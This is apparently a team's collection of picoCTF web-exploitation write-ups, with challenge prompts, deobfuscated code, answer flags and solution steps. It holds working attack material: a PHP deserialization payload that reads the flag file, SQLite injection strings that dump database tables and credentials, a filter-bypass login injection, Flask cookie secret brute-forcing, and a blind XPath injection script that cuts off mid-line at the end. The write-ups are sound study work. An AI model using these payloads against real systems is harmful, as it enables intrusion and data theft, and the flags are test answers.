Web Exploitation
{"authors": ["y4y", "ret2basic"]}

Ancient History (Chrome DevTools)

Solved by: ret2basic

Challenge

I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:52731/ (try a couple different browsers if it's not working right)

Solution

Search for "history" in source code:
history

Flag

1
picoCTF{th4ts_k1nd4_n34t_a1ac6cbe}
Copied!

GET aHEAD (HTTP HEAD Method)

Solved by: ret2basic

Challenge

Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:21939/

Solution

Change the HTTP method to HEAD:
HEAD

Flag

1
picoCTF{r3j3ct_th3_du4l1ty_6ef27873}
Copied!
Solved by: ret2basic

Challenge

Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:17781/

Solution

Enter "snickerdoodle" in the searching box and now we are redirected to /check:
/check
We are assigned a cookie name=0. Change this cookie to name=1, name=2, and so on. Eventually the flag is shown when name=18:
flag

Flag

1
picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}
Copied!

Scavenger Hunt (Common Files)

Solved by: ret2basic

Challenge

There is some interesting information hidden around this site http://mercury.picoctf.net:44070/. Can you find it?

Solution

Flag is divided into 5 parts:
    1.
    View source code.
    2.
    Examine mycss.css.
    3.
    Examine /robots.txt.
    4.
    Examine /.htaccess.
    5.
    Examine /.DS_Store.

Flag

1
picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}
Copied!

Who are you? (HTTP Request Methods)

Solved by: ret2basic

Challenge

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:1270/

Solution

The challenge says:
PicoBrowser
Step 1: Set User-Agent: PicoBrowser to satisfy the browser requirement:
User-Agent
Step 2: Set Referer: http://mercury.picoctf.net:1270/ to satisfy the same-site requirement:
Referer
Step 3: Set Date: Wed, 21 Oct 2018 07:28:00 GMT to satisfy the date requirement:
Date
Step 4: Set DNT: 1 to satisfy the Do-Not-Track requirement:
DNT
Step 5: Set X-Forwarded-For: 31.44.224.128 to satisfy the geographic location requirement:
X-Forwarded-For
Step 6: Set Accept-Language: en-US,en;q=0.9, sv to satisfy the language requirement:
Accept-Language

Flag

1
picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}
Copied!

Some Assembly Required 1 (WebAssembly)

Solved by: y4y

Challenge

Solution

View source code:
Source Code
The JavaScript code G82XCw5CX3.js is obfuscated. Deobfuscate it with JS Nice:
1
'use strict';
2
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
3
const _0x4e0e = function(url, whensCollection) {
4
/** @type {number} */
5
url = url - 470;
6
let _0x402c6f = _0x402c[url];
7
return _0x402c6f;
8
};
9
(function(data, oldPassword) {
10
const toMonths = _0x4e0e;
11
for (; !![];) {
12
try {
13
const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
14
if (userPsd === oldPassword) {
15
break;
16
} else {
17
data["push"](data["shift"]());
18
}
19
} catch (_0x41d31a) {
20
data["push"](data["shift"]());
21
}
22
}
23
})(_0x402c, 627907);
24
let exports;
25
(async() => {
26
const findMiddlePosition = _0x4e0e;
27
let leftBranch = await fetch(findMiddlePosition(489));
28
let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
29
let module = rightBranch[findMiddlePosition(470)];
30
exports = module["exports"];
31
})();
32
/**
33
* @return {undefined}
34
*/
35
function onButtonPress() {
36
const navigatePop = _0x4e0e;
37
let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
38
for (let i = 0; i < params["length"]; i++) {
39
exports[navigatePop(471)](params[navigatePop(492)](i), i);
40
}
41
exports["copy_char"](0, params["length"]);
42
if (exports[navigatePop(487)]() == 1) {
43
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
44
} else {
45
document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
46
}
47
}
48
;
Copied!
Note that there is a part of the URI in the array _0x402c:
_0x402c
Here ./JIFxzHyW8W should be some file located in the root directory. Download this file:
1
$ wget http://mercury.picoctf.net:55336/JIFxzHyW8W
Copied!
It turns out that this file is a WebAssembly binary. The flag can be extracted with strings:
flag

Flag

1
picoCTF{51e513c498950a515b1aab5e941b2615}
Copied!

More Cookies ()

Challenge

I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:10868/

Solution

Todo!

Flag

1
Copied!

It is My Birthday (PDF MD5 Collision)

Solved by: ret2basic

Challenge

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:11590/

Solution

Corkami has an amazing writeup on all kinds of collisions on Github. For this challenge, simply use poeMD5_A.pdf and poeMD5_B.pdf:
Upload
Once the check is passed, we are given the PHP source code together with the flag:
flag
The source code checks if the uploaded pdfs are different but with the same MD5 hash. This check is not sufficient anymore due to PDF MD5 collision.

Flag

1
picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}
Copied!

Some Assembly Required 2 (WebAssembly)

Solved by:

Challenge

Solution

This level won't be as easy as Some Assembly Require 1. To learn more about WebAssembly Text Format, read Understanding WebAssembly text format.
Same story, deobfuscate the Javascript code with JS Nice:
1
'use strict';
2
const _0x6d8f = ["copy_char", "value", "207aLjBod", "1301420SaUSqf", "233ZRpipt", "2224QffgXU", "check_flag", "408533hsoVYx", "instance", "278338GVFUrH", "Correct!", "549933ZVjkwI", "innerHTML", "charCodeAt", "./aD8SvhyVkb", "result", "977AzKzwq", "Incorrect!", "exports", "length", "getElementById", "1jIrMBu", "input", "615361geljRK"];
3
const _0x5c00 = function(url, whensCollection) {
4
/** @type {number} */
5
url = url - 195;
6
let _0x6d8fc4 = _0x6d8f[url];
7
return _0x6d8fc4;
8
};
9
(function(data, oldPassword) {
10
const toMonths = _0x5c00;
11
for (; !![];) {
12
try {
13
const userPsd = -parseInt(toMonths(200)) * -parseInt(toMonths(201)) + -parseInt(toMonths(205)) + parseInt(toMonths(207)) + parseInt(toMonths(195)) + -parseInt(toMonths(198)) * parseInt(toMonths(212)) + parseInt(toMonths(203)) + -parseInt(toMonths(217)) * parseInt(toMonths(199));
14
if (userPsd === oldPassword) {
15
break;
16
} else {
17
data["push"](data["shift"]());
18
}
19
} catch (_0x4f8a) {
20
data["push"](data["shift"]());
21
}
22
}
23
})(_0x6d8f, 310022);
24
let exports;
25
(async() => {
26
const edgeId = _0x5c00;
27
let _0x1adb5f = await fetch(edgeId(210));
28
let rpm_traffic = await WebAssembly["instantiate"](await _0x1adb5f["arrayBuffer"]());
29
let updatedEdgesById = rpm_traffic[edgeId(204)];
30
exports = updatedEdgesById[edgeId(214)];
31
})();
32
/**
33
* @return {undefined}
34
*/
35
function onButtonPress() {
36
const navigatePop = _0x5c00;
37
let params = document[navigatePop(216)](navigatePop(218))[navigatePop(197)];
38
for (let i = 0; i < params["length"]; i++) {
39
exports[navigatePop(196)](params[navigatePop(209)](i), i);
40
}
41
exports["copy_char"](0, params[navigatePop(215)]);
42
if (exports[navigatePop(202)]() == 1) {
43
document["getElementById"](navigatePop(211))[navigatePop(208)] = navigatePop(206);
44
} else {
45
document[navigatePop(216)](navigatePop(211))["innerHTML"] = navigatePop(213);
46
}
47
}
48
;
Copied!
Find the hidden binary in the array _0x6d8f:
_0x6d8f
Download it:
1
$ wget http://mercury.picoctf.net:61778/aD8SvhyVkb
Copied!
To decompile the WebAssembly binary, use wabt:
1
# Install wabt
2
$ git clone --recursive https://github.com/WebAssembly/wabt
3
$ cd wabt
4
$ apt install cmake
5
$ make
6
7
# Convert wasm binary to text format
8
$ <wabt_path>/bin/wasm2wat aD8SvhyVkb -o level2.wat
Copied!
A string that looks like an encrypted flag can be found at the very end of the assembly:
Encrypted
Func 2 is check_flag:
check_flag
Func 2:
1
(func (;2;) (type 2) (result i32)
2
(local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
3
i32.const 0
4
local.set 0
5
i32.const 1072
6
local.set 1
7
i32.const 1024
8
local.set 2
9
local.get 2
10
local.get 1
11
call 1
12
local.set 3
13
local.get 3
14
local.set 4
15
local.get 0
16
local.set 5
17
local.get 4
18
local.get 5
19
i32.ne
20
local.set 6
21
i32.const -1
22
local.set 7
23
local.get 6
24
local.get 7
25
i32.xor
26
local.set 8
27
i32.const 1
28
local.set 9
29
local.get 8
30
local.get 9
31
i32.and
32
local.set 10
33
local.get 10
34
return)
Copied!

Flag

1
Copied!

Super Serial (PHP Deserialization)

Solved by: ret2basic

Challenge

Try to recover the flag stored on this website http://mercury.picoctf.net:5428/

Source Code

Check robots.txt:
robots.txt
Visiting http://mercury.picoctf.net:5428/admin.phps returns "Not Found", but at least we learn that there are .phps files on the server.
A quick note on .php and .phps:
    When you visit a .php file from the browser, the server "runs" the code behind the sceen and returns you the output.
    When you visit a .phps file from the browser, the server shows you the actual source code.
Although admin.phps does not exist, we could try visiting index.phps to get the source code of the index page:
index.phps:
1
<?php
2
require_once("cookie.php");
3
4
if(isset($_POST["user"]) && isset($_POST["pass"])){
5
$con = new SQLite3("../users.db");
6
$username = $_POST["user"];
7
$password = $_POST["pass"];
8
$perm_res = new permissions($username, $password);
9
if ($perm_res->is_guest() || $perm_res->is_admin()) {
10
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
11
header("Location: authentication.php");
12
die();
13
} else {
14
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
15
}
16
}
17
?>
Copied!
It tells us the existence of cookie.php and authentication.php. Grab the source code using the same method:
cookie.phps:
1
<?php
2
session_start();
3
4
class permissions
5
{
6
public $username;
7
public $password;
8
9
function __construct($u, $p) {
10
$this->username = $u;
11
$this->password = $p;
12
}
13
14
function __toString() {
15
return $u.$p;
16
}
17
18
function is_guest() {
19
$guest = false;
20
21
$con = new SQLite3("../users.db");
22
$username = $this->username;
23
$password = $this->password;
24
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
25
$stm->bindValue(1, $username, SQLITE3_TEXT);
26
$stm->bindValue(2, $password, SQLITE3_TEXT);
27
$res = $stm->execute();
28
$rest = $res->fetchArray();
29
if($rest["username"]) {
30
if ($rest["admin"] != 1) {
31
$guest = true;
32
}
33
}
34
return $guest;
35
}
36
37
function is_admin() {
38
$admin = false;
39
40
$con = new SQLite3("../users.db");
41
$username = $this->username;
42
$password = $this->password;
43
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
44
$stm->bindValue(1, $username, SQLITE3_TEXT);
45
$stm->bindValue(2, $password, SQLITE3_TEXT);
46
$res = $stm->execute();
47
$rest = $res->fetchArray();
48
if($rest["username"]) {
49
if ($rest["admin"] == 1) {
50
$admin = true;
51
}
52
}
53
return $admin;
54
}
55
}
56
57
if(isset($_COOKIE["login"])){
58
try{
59
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
60
$g = $perm->is_guest();
61
$a = $perm->is_admin();
62
}
63
catch(Error $e){
64
die("Deserialization error. ".$perm);
65
}
66
}
67
68
?>
Copied!
authentication.phps:
1
<?php
2
3
class access_log
4
{
5
public $log_file;
6
7
function __construct($lf) {
8
$this->log_file = $lf;
9
}
10
11
function __toString() {
12
return $this->read_log();
13
}
14
15
function append_to_log($data) {
16
file_put_contents($this->log_file, $data, FILE_APPEND);
17
}
18
19
function read_log() {
20
return file_get_contents($this->log_file);
21
}
22
}
23
24
require_once("cookie.php");
25
if(isset($perm) && $perm->is_admin()){
26
$msg = "Welcome admin";
27
$log = new access_log("access.log");
28
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
29
} else {
30
$msg = "Welcome guest";
31
}
32
?>
Copied!

Solution

The insecure deserialization is triggered by the unserialize() function in cookie.phps:
unserialize()
The idea is to utilize the access_log class in authentication.phps. This class is supposed to read the access log, but we could let it dump the content of ../flag. The payload object is:
1
base64_encode(serialize(new access_log("../flag")))
Copied!
Note from y4y:
And what made this attack viable is the die("...".$perm); function call, as well as the __toString() method in the class access_log, __toString tells PHP how the object can be interpretered as string. If you take a closer look, the __toString() in access_log class will return the value of read_log function. So since the access_log class does not have is_admin and is_guest method, it will result an error, and then the die function will print a debug message. Otherwise it would not return anything as file_get_contents simply does not output anything.

Exploit

1
<?php
2
3
class access_log
4
{
5
public $log_file;
6
7
function __construct($lf) {
8
$this->log_file = $lf;
9
}
10
11
function __toString() {
12
return $this->read_log();
13
}
14
15
function append_to_log($data) {
16
file_put_contents($this->log_file, $data, FILE_APPEND);
17
}
18
19
function read_log() {
20
return file_get_contents($this->log_file);
21
}
22
}
23
24
// require_once("cookie.php");
25
// if(isset($perm) && $perm->is_admin()){
26
// $msg = "Welcome admin";
27
// $log = new access_log("access.log");
28
// $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
29
// } else {
30
// $msg = "Welcome guest";
31
// }
32
33
echo base64_encode(serialize(new access_log("../flag")))
34
35
?>
Copied!

Flag

1
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}
Copied!
Solved by: ret2basic

Challenge

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/

Source Code

1
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
2
import random
3
app = Flask(__name__)
4
flag_value = open("./flag").read().rstrip()
5
title = "Most Cookies"
6
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
7
app.secret_key = random.choice(cookie_names)
8
9
@app.route("/")
10
def main():
11
if session.get("very_auth"):
12
check = session["very_auth"]
13
if check == "blank":
14
return render_template("index.html", title=title)
15
else:
16
return make_response(redirect("/display"))
17
else:
18
resp = make_response(redirect("/"))
19
session["very_auth"] = "blank"
20
return resp
21
22
@app.route("/search", methods=["GET", "POST"])
23
def search():
24
if "name" in request.form and request.form["name"] in cookie_names:
25
resp = make_response(redirect("/display"))
26
session["very_auth"] = request.form["name"]
27
return resp
28
else:
29
message = "That doesn't appear to be a valid cookie."
30
category = "danger"
31
flash(message, category)
32
resp = make_response(redirect("/"))
33
session["very_auth"] = "blank"
34
return resp
35
36
@app.route("/reset")
37
def reset():
38
resp = make_response(redirect("/"))
39
session.pop("very_auth", None)
40
return resp
41
42
@app.route("/display", methods=["GET"])
43
def flag():
44
if session.get("very_auth"):
45
check = session["very_auth"]
46
if check == "admin":
47
resp = make_response(render_template("flag.html", value=flag_value, title=title))
48
return resp
49
flash("That is a cookie! Not very special though...", "success")
50
return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
51
else:
52
resp = make_response(redirect("/"))
53
session["very_auth"] = "blank"
54
return resp
55
56
if __name__ == "__main__":
57
app.run()
Copied!

Solution

To learn about how to forge Flask session cookie, read "Baking Flask cookies with your secrets" by Luke Paris. He even built an automation tool named Flask Unsign for this task. We will be using this tool in this challenge.
First, let's identify the vulnerability. The secret key used is predictable:
Secret Key
We could simply brute-force all possible secret keys and see if any of them works.
Examine the session cookie:
Session Cookie
This cookie evaluates to {'very_auth': 'blank'}, and our objective is forging a cookie that evaluates to {'very_auth': 'admin'}.
Create cookie.txt:
1
$ echo "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFgTEQ.hyDKpdP4JROJn2gHLDoLlaEAI5g" > cookie.txt
Copied!
Create wordlist.txt:
1
#!/usr/bin/env python3
2
3
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
4
5
with open("wordlist.txt", "w") as f:
6
for cookie in cookie_names:
7
f.write(cookie + "\n")
Copied!
Use Flask Unsign:
Flask Unsign

Flag

1
picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}
Copied!

Some Assembly Required 3 (WebAssembly)

Solved by:

Challenge

Solution

Todo!

Flag

1
Copied!

Web Gauntlet 2 (SQLite Injection, WAF Bypass)

Solved by: y4y

Challenge

This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:61434/ Filter: http://mercury.picoctf.net:61434/filter.php

Solution

Filter: or and true false union like = > < ; -- /* */ admin
This challenge builds upon picoCTF 2020 Mini-Competition Web Gauntlet. Grab the payload and read the explanation.
In that payload we used /**/ (empty comment) to represent space. Note that this challenge does not filter spaces at all. We could simply delete all /**/:
1
' || X'61646D696E'%00
Copied!
The corresponding SQL query becomes:
1
SELECT username, password FROM users WHERE username='' || X'61646D696E'' AND password='a';
Copied!
Send the payload as username and password can be anything. Send this POST request with burp. This payload also solves Web Gauntlet 3.
Note from ret2basic:
An even simpler payload is adm'||'in'%00, where we use || to concatenate strings and %00 (null byte) instead ; to terminate the SQL statement. Check out picoCTF 2020 Mini-Competition Web Gauntlet Round 5.

Source Code

1
<?php
2
session_start();
3
4
if (!isset($_SESSION["winner2"])) {
5
$_SESSION["winner2"] = 0;
6
}
7
$win = $_SESSION["winner2"];
8
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
9
10
if ($win === 0) {
11
$filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
12
if ($view) {
13
echo "Filters: ".implode(" ", $filter)."<br/>";
14
}
15
} else if ($win === 1) {
16
if ($view) {
17
highlight_file("filter.php");
18
}
19
$_SESSION["winner2"] = 0; // <- Don't refresh!
20
} else {
21
$_SESSION["winner2"] = 0;
22
}
23
24
// picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
25
?>
Copied!

Flag

1
picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
Copied!

Startup Company (SQLite Injection)

Solved by: y4y

Challenge

Do you want to fund my startup? http://mercury.picoctf.net:44720/

Solution

Immediately it asks us to login, and notice the Register on the top left corner? Why the hell not? And spoiler, this isn't part of the actual challenge. Upon loggin in, we see some kind of donation page.
I first tried some letters but apparently it's doing some kind of checking. Since I didn't seem to have any credits so I just entered a huge number, and nothing seemed to happen. Then I tried to intercept the request and realized there is a captcha included in this form. Lucky for us, this captcha is custom generated and not by google.
So I tried some basic stuff, like SSTI, Command Injection, and last, SQL Injection. And the last time, the contribute.php returned a database error message.
Then I knew I was onto something, and after checking the hints provided by the organizers, I learned the database is SQLite, so I tried some test query like
1
'||(sqlite_version())||'
Copied!
And I knew I definitely didn't donate 3.22.0. The rest is just regular procedure, dump the database and get the flag.
Dump table names:
1
'||(SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'
Copied!
Next, dump column names:
1
'||(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users')||'
Copied!
The last part is then to dump the table and see if flag is in there.
1
'||(SELECT group_concat(nameuser,wordpass) FROM startup_users LIMIT 1)||'
Copied!
A bit messy, but you can see find the flag in the text.

Flag

1
picoCTF{1_c4nn0t_s33_y0u_107b7785}
Copied!

Some Assembly Required 4 (WebAssembly)

Challenge

Solution

Flag

1
Copied!

X marks the spot (Blind XPATH Injection)

Solved by: y4y

Challenge

Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:53735/

Solution

According to the prompt, we know it's yet another injection problem. And the hint told us that it has something to do with XPATH. Originally I thought this was to use SQL XPATH Error Injection, but later on I realized it was just simply XPATH Injection (From testing functions and stuff).
I could very well be wrong, but XPATH is some kind of query language for XML. After A LOT of research, I finally found some useful function I can use for the injection. Let's talk about them.
count(node) will return how many child nodes does this particular node have. string-length() will return the length of string, you guessed it. local-name() will return the attribute name of the node. substring() does exactly what you expect it to.
To make thing more clear, let's use an example. Here is a sample XML file.
1
<login>
2
<users>
3
<user>
4
<name>Alice</name>
5
<password>alice01</password>
6
</user>
7
<user>
8
<name>Bob</name>
9
<password>bob02</password>
10
</user>
11
</users>
12
</login>
Copied!
And count(login)=1 because there is only one node of login, and count(user)=2 because there are two user nodes. Then local-name(login)=login as you expected.
Then let's talk about the path in XML files. Like in Linux directories, / means root, so if I want to represent the Alice node, I shall use /login/users/user[1]/, the [1] means the position of node. And of course, the wildcard /* means all of the child nodes.
With those knowledge, we can first try to leak the root node. The payload I used was:
1
name=&pass=' or string-length(local-name(/*))='1
Copied!
And we can slowly leak the length of root node's name. Then we use the substring() function to dump the name. Rinse and repeat. Eventually we will leak the entire node tree.
I used the exploit below to dump the nodes which mattered. Essentially the structure was like:
1
<db>
2
<poems>
3
...
4
</poems>
5
<users>
6
<user>
7
<name>guest</name>
8
<pass>guest</pass>
9
</user>
10
<user>
11
<name>bob</name>
12
<pass>...</pass>
13
</user>
14
<user>
15
<name>admin</name>
16
<pass>FLAG</pass>
17
</user>
18
</users>
19
</db>
Copied!
And if you are curious about the other stuff, try modify the exploit and dump 'em all. It's gonna take forever, I probably should do a binary search, but meh.
The exploit:
1
import requests
2
import string
3
4
url = 'http://mercury.picoctf.net:53735/'
5
pool = string.printable
6
7
8
def leak_root(url):
9
root_name = ''
10
name_length = 0
11
12
13
while 1:
14
data = {
15
'name': '',
16
'pass': f"' or string-length(local-name(/*))='{name_length}"
17
}
18
req = requests.post(url, data=data)
19
print(f"Now trying name length: {name_length}")
20
if 'failure' in req.text:
21
name_length += 1
22
else:
23
break
24
25
print(f"Get root name length: {name_length}")
26
27
for i in range(1, name_length + 1):
28
for c in pool:
29
data = {
30
'name': '',
31
'pass': f"' or substring(local-name(/*),{i},1)='{c}"
32
}
33
req = requests.post(url, data=data)
34
print(f"Now trying root name: {root_name + c}")
35
if 'right path.' in req.text:
36
root_name += c
37
break
38
39
print(f"Found root name: {root_name}")
40
41
42
def leak_node(url, root):
43
node_number = 0
44
nodes = []
45
46
while 1:
47
data = {
48
'name': '',
49
'pass': f"' or count(/{root}/*)='{node_number}"
50
}
51
req = requests.post(url, data=data)
52
print(f"Now trying node number: {node_number}")
53
if 'failure' in req.text:
54
node_number += 1
55
else:
56
break
57
58
for n in range(1, node_number + 1):
59
name_length = 0
60
node_name = ''
61
while 1:
62
data = {
63
'name': '',
64
'pass': f"' or string-length(local-name(/{root}/*[{n}]))='{name_length}"
65
}
66
req = requests.post